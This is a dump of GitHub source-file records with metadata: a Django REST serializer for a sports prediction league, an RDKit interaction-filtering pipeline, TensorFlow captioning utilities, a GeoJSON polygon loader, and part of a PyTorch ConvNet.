number=self.validated_data[\"number\"]\r\n )\r\n matchday.save()\r\n for match in matches:\r\n homeTeam = Team.objects.get(teamId=match[\"homeTeam\"])\r\n awayTeam = Team.objects.get(teamId=match[\"awayTeam\"])\r\n if match[\"winner\"] == \"HOME_TEAM\":\r\n result = homeTeam.name\r\n elif match[\"winner\"] == \"AWAY_TEAM\":\r\n result = awayTeam.name\r\n else:\r\n result = match[\"winner\"]\r\n new_match = Match(\r\n matchId=match[\"matchId\"],\r\n homeTeam=homeTeam,\r\n awayTeam=awayTeam,\r\n league=league,\r\n date=match[\"date\"],\r\n time=match[\"time\"],\r\n result=result,\r\n homeTeamScore=match[\"homeTeamScore\"],\r\n awayTeamScore=match[\"awayTeamScore\"],\r\n status=match[\"status\"],\r\n matchday=matchday,\r\n )\r\n new_match.save()\r\n return matchday\r\n\r\n\r\nclass MyLeagueSerializer(serializers.ModelSerializer):\r\n leagueCodes = serializers.ListField(source=\"get_league_codes\")\r\n\r\n class Meta:\r\n model = MyLeague\r\n fields = [\"name\", \"myLeagueId\", \"leagueCodes\", \"players\"]\r\n read_only_fields = (\"myLeagueId\", \"players\")\r\n\r\n def create(self, validated_data):\r\n if not self.is_valid():\r\n return None\r\n myLeague = MyLeague(\r\n name=self.validated_data[\"name\"],\r\n myLeagueId=get_random_string(8).lower(),\r\n )\r\n myLeague.save()\r\n user_id = self.context[\"request\"].user.id\r\n owner = User.objects.get(id=user_id)\r\n myLeague.players.add(owner)\r\n for leagueCode in self.validated_data[\"get_league_codes\"]:\r\n league = League.objects.get(leagueCode=leagueCode)\r\n myLeague.leagues.add(league)\r\n return myLeague\r\n\r\n\r\nclass PredictionSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = Prediction\r\n fields = [\"player\", \"match\", \"prediction\", \"points\", \"myLeague\"]\r\n\r\n read_only_fields = (\"points\",)\r\n\r\n def create(self, validated_data):\r\n if not self.is_valid or self.validated_data[\"match\"].result:\r\n raise serializers.ValidationError(\"Prediction is over!\")\r\n prediction = Prediction(\r\n match=self.validated_data[\"match\"],\r\n prediction=self.validated_data[\"prediction\"],\r\n myLeague=self.validated_data[\"myLeague\"],\r\n )\r\n if self.validated_data[\"match\"].result == prediction.prediction:\r\n prediction.points = 1\r\n prediction.save()\r\n return prediction\r\n", "repo_name": "levy5434/SportsRanking", "sub_path": "backend/api/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 7187, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 8, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 8, "usage_type": "name"}, {"api_name": "api.models.Team", "line_number": 10, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 44, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 44, "usage_type": "name"}, {"api_name": "api.models.League", "line_number": 48, "usage_type": "name"}, {"api_name": "api.sportsapi.LeagueApi", "line_number": 59, "usage_type": "call"}, {"api_name": "api.models.League", "line_number": 62, "usage_type": "call"}, {"api_name": "api.models.Team", "line_number": 68, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 88, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 88, "usage_type": "name"}, {"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 89, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 89, "usage_type": "name"}, {"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 92, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 92, "usage_type": "name"}, {"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 95, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 95, "usage_type": "name"}, {"api_name": "rest_framework.serializers.StringRelatedField", "line_number": 98, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 98, "usage_type": "name"}, {"api_name": "api.models.Match", "line_number": 103, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 128, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 128, "usage_type": "name"}, {"api_name": "api.models.Matchday", "line_number": 132, "usage_type": "name"}, {"api_name": "api.sportsapi.MatchdayApi", "line_number": 145, "usage_type": "call"}, {"api_name": "api.models.League.objects.get", "line_number": 151, "usage_type": "call"}, {"api_name": "api.models.League.objects", "line_number": 151, "usage_type": "attribute"}, {"api_name": "api.models.League", "line_number": 151, "usage_type": "name"}, {"api_name": "api.models.Matchday", "line_number": 154, "usage_type": "call"}, {"api_name": "api.models.Team.objects.get", "line_number": 159, "usage_type": "call"}, {"api_name": "api.models.Team.objects", "line_number": 159, "usage_type": "attribute"}, {"api_name": "api.models.Team", "line_number": 159, "usage_type": "name"}, {"api_name": "api.models.Team.objects.get", "line_number": 160, "usage_type": "call"}, {"api_name": "api.models.Team.objects", "line_number": 160, "usage_type": "attribute"}, {"api_name": "api.models.Team", "line_number": 160, "usage_type": "name"}, {"api_name": "api.models.Match", "line_number": 167, "usage_type": "call"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 184, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 184, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ListField", "line_number": 185, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 185, "usage_type": "name"}, {"api_name": "api.models.MyLeague", "line_number": 188, "usage_type": "name"}, {"api_name": "api.models.MyLeague", "line_number": 195, "usage_type": "call"}, {"api_name": "django.utils.crypto.get_random_string", "line_number": 197, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 201, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 201, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 201, "usage_type": "name"}, {"api_name": "api.models.League.objects.get", "line_number": 204, "usage_type": "call"}, {"api_name": "api.models.League.objects", "line_number": 204, "usage_type": "attribute"}, {"api_name": "api.models.League", "line_number": 204, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 209, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 209, "usage_type": "name"}, {"api_name": "api.models.Prediction", "line_number": 211, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 218, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 218, "usage_type": "name"}, {"api_name": "api.models.Prediction", "line_number": 219, "usage_type": "call"}]} {"seq_id": "30678728158", "text": "import argparse, sys\n\nfrom pipelines_utils import parameter_utils, utils\nfrom pipelines_utils_rdkit import rdkit_utils, mol_utils\nfrom rdkit import Chem\n\nfrom . import calc_interactions\n\n\ndef execute(suppl, writer, report, group_by_field, score_field, score_descending, stats_fields):\n count = 0\n total = 0\n errors = 0\n group_count = 0\n curr_gbv = None\n interactions = {}\n best_scores = {}\n best_mols = {}\n stats_data = {}\n for mol in suppl:\n total +=1\n if not mol:\n errors += 1\n continue\n if not mol.HasProp(group_by_field):\n report.write(\"WARNING: molecule %s does not contain field %s\\n\" % (total, group_by_field))\n errors += 1\n continue\n if not mol.HasProp(score_field):\n report.write(\"WARNING: molecule %s does not contain field %s\\n\" % (total, score_field))\n errors += 1\n continue\n gbv = mol.GetProp(group_by_field)\n sco = mol.GetDoubleProp(score_field)\n inters = gen_interactions(mol)\n utils.log('processing', gbv, inters)\n if gbv != curr_gbv:\n\n # write summaries\n if curr_gbv:\n write_summary(writer, report, gbv, group_count, best_mols, stats_data)\n curr_gbv = gbv\n group_count = 1\n best_scores = {inters: sco}\n best_mols = {inters: mol}\n stats_data = {}\n add_stats(mol, inters, stats_fields, stats_data)\n else:\n # add to summary\n group_count += 1\n curr_best_sco = best_scores.get(inters, None)\n add_stats(mol, inters, stats_fields, stats_data)\n if None == curr_best_sco:\n best_scores[inters] = sco\n best_mols[inters] = mol\n else:\n if score_descending:\n if sco > curr_best_sco:\n best_scores[inters] = sco\n best_mols[inters] = mol\n else:\n if sco < curr_best_sco:\n best_scores[inters] = sco\n best_mols[inters] = mol\n count += 1\n write_summary(writer, report, gbv, group_count, best_mols, stats_data)\n\n return count, total, errors\n\ndef write_summary(writer, report, gbv, count, best_mols, stats_data):\n report.write(\"Summary for %s molecules for %s\\n\" % (count, gbv))\n for inter, mol in best_mols.items():\n report.write(\" %s\\n\" % (str(inter)))\n if inter in stats_data:\n for field, values in stats_data[inter].items():\n report.write(\" %s = [%s, %s, %s, %s]\\n\" % (field, len(values), min(values), max(values), sum(values) / len(values)))\n writer.write(mol)\n\nstr_interactions = 'Interactions'\n\ndef gen_interactions(mol):\n interactions = []\n interactions.append(find_canonical_interactions(mol, calc_interactions.inter_type_hbond + str_interactions))\n interactions.append(find_canonical_interactions(mol, calc_interactions.inter_type_halogen + str_interactions))\n interactions.append(find_canonical_interactions(mol, calc_interactions.inter_type_hydrophobic + str_interactions))\n interactions.append(find_canonical_interactions(mol, calc_interactions.inter_type_salt_bridge + str_interactions))\n interactions.append(find_canonical_interactions(mol, calc_interactions.inter_type_pi_stacking + str_interactions))\n interactions.append(find_canonical_interactions(mol, calc_interactions.inter_type_pi_cation + str_interactions))\n return tuple(interactions)\n\ndef find_canonical_interactions(mol, prop):\n if mol.HasProp(prop):\n canons = []\n inters = mol.GetProp(prop)\n lines = inters.split('\\n')\n for line in lines:\n tokens = line.split(' ')\n canon = tokens[0]\n canons.append(canon)\n return tuple(sorted(canons))\n else:\n return None\n\ndef add_stats(mol, inters, stats_fields, stats_data):\n if inters in stats_data:\n d = stats_data[inters]\n else:\n d = {}\n stats_data[inters] = d\n if stats_fields:\n for field in stats_fields:\n if mol.HasProp(field):\n v = mol.GetDoubleProp(field)\n if field in d:\n d[field].append(v)\n else:\n d[field] = [v]\n\n### start main execution #########################################\n\n\ndef main():\n ### command line args definitions #########################################\n\n parser = argparse.ArgumentParser(description='Filter interactions')\n parameter_utils.add_default_io_args(parser)\n parser.add_argument('-f', '--group-by-field', required=True, help='Field to group records by (must be sequential)')\n parser.add_argument('-s', '--score-field', required=True, help='Field to use to rank records within a group')\n parser.add_argument('-d', '--score-descending', action='store_true', help='Sort records in descending order')\n parser.add_argument('-x', '--stats-fields', nargs='*', help='Field to use to for summary statistics')\n\n parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode')\n parser.add_argument('--thin', action='store_true', help='Thin output mode')\n parser.add_argument('--no-gzip', action='store_true', help='Do not compress the output (STDOUT is never compressed')\n\n args = parser.parse_args()\n utils.log(\"filter_interactions: \", args)\n\n # handle metadata\n source = \"filter_interactions.py\"\n datasetMetaProps = {\"source\": source, \"description\": \"Filter by interactions\"}\n clsMappings = {\n # \"EnumChargesSrcMolUUID\": \"java.lang.String\",\n # \"EnumChargesSrcMolIdx\": \"java.lang.Integer\"\n }\n fieldMetaProps = [\n # {\"fieldName\": \"EnumChargesSrcMolUUID\", \"values\": {\"source\": source, \"description\": \"UUID of source molecule\"}},\n # {\"fieldName\": \"EnumChargesSrcMolIdx\", \"values\": {\"source\": source, \"description\": \"Index of source molecule\"}}\n ]\n\n input, suppl = rdkit_utils.default_open_input(args.input, args.informat)\n output, writer, output_base = rdkit_utils.default_open_output(args.output,\n 'filter_interactions', args.outformat,\n thinOutput=False, valueClassMappings=clsMappings,\n datasetMetaProps=datasetMetaProps,\n fieldMetaProps=fieldMetaProps,\n compress=not args.no_gzip)\n report_file = open(output_base + '.report', 'wt')\n count, total, errors = execute(suppl, writer, report_file, args.group_by_field, args.score_field, args.score_descending,\n args.stats_fields)\n\n utils.log(count, total, errors)\n\n if input:\n input.close()\n writer.flush()\n writer.close()\n output.close()\n report_file.close()\n\n # re-write the metadata as we now know the size\n if args.outformat == 'json':\n utils.write_squonk_datasetmetadata(output_base, False, clsMappings, datasetMetaProps, fieldMetaProps, size=total)\n\n if args.meta:\n utils.write_metrics(output_base, {'__InputCount__': count, '__OutputCount__': total, '__ErrorCount__': errors,\n 'FilterInteractions': total})\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "InformaticsMatters/pipelines", "sub_path": "src/python/pipelines/xchem/filter_interactions.py", "file_name": "filter_interactions.py", "file_ext": "py", "file_size_in_byte": 7547, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pipelines_utils.utils.log", "line_number": 36, "usage_type": "call"}, {"api_name": "pipelines_utils.utils", "line_number": 36, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 125, "usage_type": "call"}, {"api_name": "pipelines_utils.parameter_utils.add_default_io_args", "line_number": 126, "usage_type": "call"}, {"api_name": "pipelines_utils.parameter_utils", "line_number": 126, "usage_type": "name"}, {"api_name": "pipelines_utils.utils.log", "line_number": 137, "usage_type": "call"}, {"api_name": "pipelines_utils.utils", "line_number": 137, "usage_type": "name"}, {"api_name": "pipelines_utils_rdkit.rdkit_utils.default_open_input", "line_number": 151, "usage_type": "call"}, {"api_name": "pipelines_utils_rdkit.rdkit_utils", "line_number": 151, "usage_type": "name"}, {"api_name": "pipelines_utils_rdkit.rdkit_utils.default_open_output", "line_number": 152, "usage_type": "call"}, {"api_name": "pipelines_utils_rdkit.rdkit_utils", "line_number": 152, "usage_type": "name"}, {"api_name": "pipelines_utils.utils.log", "line_number": 162, "usage_type": "call"}, {"api_name": "pipelines_utils.utils", "line_number": 162, "usage_type": "name"}, {"api_name": "pipelines_utils.utils.write_squonk_datasetmetadata", "line_number": 173, "usage_type": "call"}, {"api_name": "pipelines_utils.utils", "line_number": 173, "usage_type": "name"}, {"api_name": "pipelines_utils.utils.write_metrics", "line_number": 176, "usage_type": "call"}, {"api_name": "pipelines_utils.utils", "line_number": 176, "usage_type": "name"}]} {"seq_id": "7498764281", "text": "from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom PIL import Image\nimport os\nfrom tqdm import tqdm\n\n# Setting dirs\nPLOT_DIR = \"gen/Outputs\"\n\n# Function define\ndef cache_bottlenecks(img_name_vector, image_features_extract_model):\n # unique한 image name 집합을 만듭니다.\n encode_train = sorted(set(img_name_vector))\n \n # tf.data API를 이용해서 이미지를 batch 개수(=16)만큼 불러옵니다.\n image_dataset = tf.data.Dataset.from_tensor_slices(encode_train)\n image_dataset = image_dataset.map(load_image, num_parallel_calls=tf.data.experimental.AUTOTUNE).batch(16)\n \n # 동일 이미지에 대한 feature map 변환 연산을 반복수행하는 부분을 제거하기 위해서\n # 한번 feature map 형태로 변환한 값들을 disk에 저장해서 caching합니다.\n for img, path in tqdm(image_dataset):\n batch_features = image_features_extract_model(img)\n # 16x8x8x2048 이미지를 16x64x2048 형태로 reshape합니다.\n batch_features = tf.reshape(batch_features, (batch_features.shape[0], -1, batch_features.shape[3]))\n \n for bf, p in zip(batch_features, path):\n path_of_feature = p.numpy().decode(\"utf-8\")\n np.save(path_of_feature, bf.numpy())\n\n# Inception v3의 input에 적합한 형태로 image_path 경로에서 이미지를 불러옵니다.\ndef load_image(image_path):\n img = tf.io.read_file(image_path)\n img = tf.image.decode_jpeg(img, channels=3)\n img = tf.image.resize(img, (299, 299))\n img = tf.keras.applications.inception_v3.preprocess_input(img)\n \n return img, image_path\n\n# 전체 dataset에 존재하는 caption의 maximum length를 찾습니다.\ndef calc_max_length(tensor):\n return max(len(t) for t in tensor)\n\n# attention 결과를 시각화합니다.\ndef plot_attention(image, result, attention_plot):\n temp_image = np.array(Image.open(image))\n \n fig = plt.figure(figsize=(10, 10))\n\n len_result = len(result)\n for l in range(len_result):\n temp_att = np.resize(attention_plot[l], (8, 8))\n ax = fig.add_subplot(len_result // 2, len_result // 2, l + 1)\n ax.set_title(result[l])\n img = ax.imshow(temp_image)\n ax.imshow(temp_att, cmap='gray', alpha=0.6, extent=img.get_extent())\n\n plt.tight_layout()\n plt.savefig(PLOT_DIR + '/imgCap_' + image.split(os.path.sep)[-1].split('.')[-2] + '_attention' + '.png')\n plt.show()", "repo_name": "sin00528/2020_Capstone_01", "sub_path": "Captioning/caption_utils.py", "file_name": "caption_utils.py", "file_ext": "py", "file_size_in_byte": 2538, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tensorflow.data", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.io.read_file", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.io", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.image.decode_jpeg", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.image.resize", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.image", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.applications.inception_v3.preprocess_input", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 48, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.resize", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}]} {"seq_id": "37843494791", "text": "import json\nimport numpy as np\nfrom typing import Union, Optional, Tuple\nfrom pyproj import Proj\nfrom matplotlib.path import Path\nfrom matplotlib.patches import Polygon\nfrom matplotlib.collections import PatchCollection\nfrom warnings import warn\n\n# Using matplotlib backend to clip the polygon paths to the map extent:\ntry:\n from matplotlib import _path\n _has_matplotlib_path = True\nexcept ImportError:\n _has_matplotlib_path = False\n warn(\"Could not load the matplotlib '_path' module. Polygon clipping \"\n \"to map extents will not be possible.\")\n\n\ndef assert_geojson_sanity(geojson_dict):\n \"\"\"\n This function tests some basic sanity conditions of the\n GeoJSON.\n\n Note: Does not necessarily follow all possibilities of\n the standard (yet).\n \"\"\"\n assert geojson_dict[\"type\"] == \"FeatureCollection\"\n assert \"features\" in geojson_dict\n\n\nclass GeoJSON:\n \"\"\"\n Loads data from a GeoJSON.\n\n Parameters\n ----------\n fname : str\n Path to the GeoJSON file. Alternatively\n anything that can be accepted by :func:`open`.\n proj : str or pyproj.Proj\n Projection to evaluate the geometries in.\n xlim : tuple[float,float], optional\n Selection *x* extent in projected coordinates.\n Given as :math:`(x_\\\\mathrm{min},x_\\\\mathrm{max})`.\n ylim : tuple[float,float], optional\n Selection *y* extent in projected coordinates.\n Given as :math:`(y_\\\\mathrm{min},y_\\\\mathrm{max})`.\n\n\n Notes\n -----\n If no extents are given, all geometries are loaded.\n So far, only polygon and multipolygon geometries are\n loaded.\n \"\"\"\n def __init__(self, fname: str, proj: Union[str,Proj],\n xlim: Optional[Tuple[float,float]] = None,\n ylim: Optional[Tuple[float,float]] = None):\n # Initialize the projection:\n if not isinstance(proj,Proj):\n proj = Proj(proj)\n\n # Load all content:\n with open(fname,'r') as f:\n geojson = json.load(f)\n\n # Some sanity assertion:\n assert_geojson_sanity(geojson)\n\n # Simple extent selection:\n if xlim is not None:\n if ylim is not None:\n def select_points(x,y):\n return np.any((x >= xlim[0]) & (x <= xlim[1]) &\n (y >= ylim[0]) & (y <= ylim[1]))\n else:\n def select_points(x,y):\n return np.any((x >= xlim[0]) & (x <= xlim[1]))\n # TODO FIXME.\n warn(\"In GeoJSON, polygon selection is currently point selection. \"\n \"This can cause polygons not to be selected if they \"\n \"completely contain the x and y extents.\")\n select_polygon = select_points\n elif ylim is not None:\n def select_points(x,y):\n return np.any((y >= ylim[0]) & (y <= ylim[1]))\n # TODO FIXME.\n warn(\"In GeoJSON, polygon selection is currently point selection. \"\n \"This can cause polygons not to be selected if they \"\n \"completely contain the x and y extents.\")\n select_polygon = select_points\n else:\n def select_points(x,y):\n return True\n select_polygon = select_points\n\n # Cropping the paths:\n if _has_matplotlib_path and xlim is not None and ylim is not None:\n def crop_poly(poly):\n # Create an (N+1,2)-shaped array of coordinates,\n # with the last entry being unused (corresponds to\n # matplotlib Path.CLOSEPOLY code)\n path = np.empty((poly.shape[0]+1, 2))\n path[:-1,:] = poly\n\n # Code of a closed matplotlib Path:\n codes = np.full(path.shape[0], Path.LINETO,\n dtype=Path.code_type)\n codes[0] = Path.MOVETO\n codes[-1] = Path.CLOSEPOLY\n path = Path(path, codes=codes)\n\n # Use the Matplotlib C++ backend code to crop the path\n # to the map extents:\n return _path.clip_path_to_rect(path, ((xlim[0],ylim[0]),\n (xlim[1],ylim[1])),\n True)\n else:\n # No-op:\n def crop_poly(poly):\n return [poly]\n\n # Iterate through the features:\n points = []\n multipoints = []\n linestrings = []\n multilinestrings = []\n polygons = []\n multipolygons = []\n for feat in geojson[\"features\"]:\n assert feat[\"type\"] == \"Feature\"\n geom = feat[\"geometry\"]\n geom_type = geom[\"type\"]\n if geom_type == \"Point\":\n pass\n elif geom_type == \"MultiPoint\":\n pass\n elif geom_type == \"LineString\":\n pass\n elif geom_type == \"MultiLineString\":\n pass\n elif geom_type == \"Polygon\":\n # Read and project a polygon.\n rings = geom[\"coordinates\"]\n poly = []\n for lola in rings:\n x,y = proj(*np.array(lola).T)\n if not select_polygon(x,y):\n continue\n poly.extend(crop_poly(np.stack((x,y), axis=1)))\n polygons.append(poly)\n\n elif geom_type == \"MultiPolygon\":\n # Read and project the polygons.\n feat_polys = geom[\"coordinates\"]\n multipoly = []\n for rings in feat_polys:\n poly = []\n for lola in rings:\n x,y = proj(*np.array(lola).T)\n if not select_polygon(x,y):\n continue\n poly.extend(crop_poly(np.stack((x,y), axis=1)))\n if len(poly) > 0:\n multipoly.append(poly)\n if len(multipoly) > 0:\n multipolygons.append(multipoly)\n else:\n raise RuntimeError(\"Unknown geometry type detected in \"\n \"GeoJSON feature.\")\n\n self.points = NotImplemented\n self.multipoints = NotImplemented\n self.linestrings = NotImplemented\n self.multilinestrings = NotImplemented\n self.polygons = polygons\n self.multipolygons = multipolygons\n\n\n def get_polygon_patches(self, **kwargs):\n \"\"\"\n Get matplotlib patches of the polygons and multipolygons.\n\n Parameters\n ----------\n kwargs : optional\n Parameters to pass to the patch collection.\n\n Returns\n -------\n :class:`matplotlib.collections.PatchCollection`\n Patches for all polygons and multipolygons.\n \"\"\"\n poly_patches = []\n for poly in self.polygons:\n poly_patches.append(Polygon(poly[0]))\n for mpoly in self.multipolygons:\n for poly in mpoly:\n poly_patches.append(Polygon(poly[0]))\n\n return PatchCollection(poly_patches, **kwargs)\n\n\n def get_extent(self):\n \"\"\"\n Get x and y limits.\n\n Returns\n -------\n xlim : tuple[float,float]\n *x* extents :math:`(x_\\\\mathrm{min},x_\\\\mathrm{max})`\n ylim : tuple[float,float]\n *y* extents :math:`(y_\\\\mathrm{min},y_\\\\mathrm{max})`\n \"\"\"\n xmin = np.inf\n xmax = -np.inf\n ymin = np.inf\n ymax = -np.inf\n for mpoly in self.multipolygons:\n for poly in mpoly:\n for ring in poly:\n xmin = min(xmin, ring[:,0].min())\n xmax = max(xmax, ring[:,0].max())\n ymin = min(ymin, ring[:,1].min())\n ymax = max(ymax, ring[:,1].max())\n\n return (xmin,xmax), (ymin,ymax)\n", "repo_name": "mjziebarth/FlotteKarte", "sub_path": "flottekarte/data/geojson.py", "file_name": "geojson.py", "file_ext": "py", "file_size_in_byte": 7964, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "warnings.warn", "line_number": 16, "usage_type": "call"}, {"api_name": "typing.Union", "line_number": 57, "usage_type": "name"}, {"api_name": "pyproj.Proj", "line_number": 57, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 58, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 58, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 59, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 59, "usage_type": "name"}, {"api_name": "pyproj.Proj", "line_number": 61, "usage_type": "argument"}, {"api_name": "pyproj.Proj", "line_number": 62, "usage_type": "call"}, {"api_name": "json.load", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 79, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.any", "line_number": 87, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.path.Path.LINETO", "line_number": 108, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.code_type", "line_number": 109, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.MOVETO", "line_number": 110, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.path.Path.CLOSEPOLY", "line_number": 111, "usage_type": "attribute"}, {"api_name": "matplotlib.path.Path", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.path.Path", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib._path.clip_path_to_rect", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib._path", "line_number": 116, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.patches.Polygon", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.collections.PatchCollection", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 216, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 217, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 218, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 219, "usage_type": "attribute"}]} {"seq_id": "19592111108", "text": "import torch\nimport torch.nn.functional as f\n\n\nclass ConvNet(torch.nn.Module):\n\n def __init__(self):\n super().__init__()\n\n # convolution layer 1. Output shape is [batch_size, 16, 14, 14]\n self.conv1 = torch.nn.Conv2d(1, 16, kernel_size=3, stride=1, padding=1)\n self.pool1 = torch.nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.conv1_bn = torch.nn.BatchNorm2d(16)\n\n # convolution layer 2. Output shape is [batch_size, 32, 7, 7]\n self.conv2 = torch.nn.Conv2d(16, 32, kernel_size=3, stride=1, padding=1)\n self.pool2 = torch.nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.conv2_bn = torch.nn.BatchNorm2d(32)\n\n # convolution layer 3. Output shape is [batch_size, 64, 3, 3]\n self.conv3 = torch.nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1)\n self.pool3 = torch.nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n self.conv3_bn = torch.nn.BatchNorm2d(64)\n\n # convolution layer 4. Output shape is [batch_size, 128, 1, 1]\n self.conv4 = torch.nn.Conv2d(64, 128, kernel_size=3, stride=1, padding=1)\n self.pool4 = torch.nn.MaxPool2d(kernel_size=2, stride=2, padding=0)\n\n # fully connected layer. Output shape is [batch_size, 10]\n self.fc1 = torch.nn.Linear(128, 10)\n\n def forward(self, x):\n \"\"\"\n Method that performs the forward computation for the network\n :param x: The input to the network. Shape is [batch_size, 1, 28, 28]\n :return: The ouput of the network after a forward pass\n \"\"\"\n # compute the first activation\n x = f.relu(self.conv1(x))\n\n # perform pooling operation\n x = self.pool1(x)\n\n # compute the second activation\n x = self.conv1_bn(x)\n x = f.relu(self.conv2(x))\n\n # perform pooling operation\n x = self.pool2(x)\n\n # compute the third activation\n x = self.conv2_bn(x)\n x = f.relu(self.conv3(x))\n\n # perform pooling operation\n x = self.pool3(x)\n\n # compute the fourth activation\n x = self.conv3_bn(x)\n x = f.relu(self.conv4(x))\n\n # perform the pooling operation\n x = self.pool4(x)\n\n # reshape the data for linear operation\n x = x.view(-1, 128)\n\n # fully-connected layer\n x = self.fc1(x)\n\n return x\n", "repo_name": "stawaway/ift6135-assignment1-part2", "sub_path": "NN.py", "file_name": "NN.py", "file_ext": "py", "file_size_in_byte": 2356, "program_lang": "python", "lang": "en", 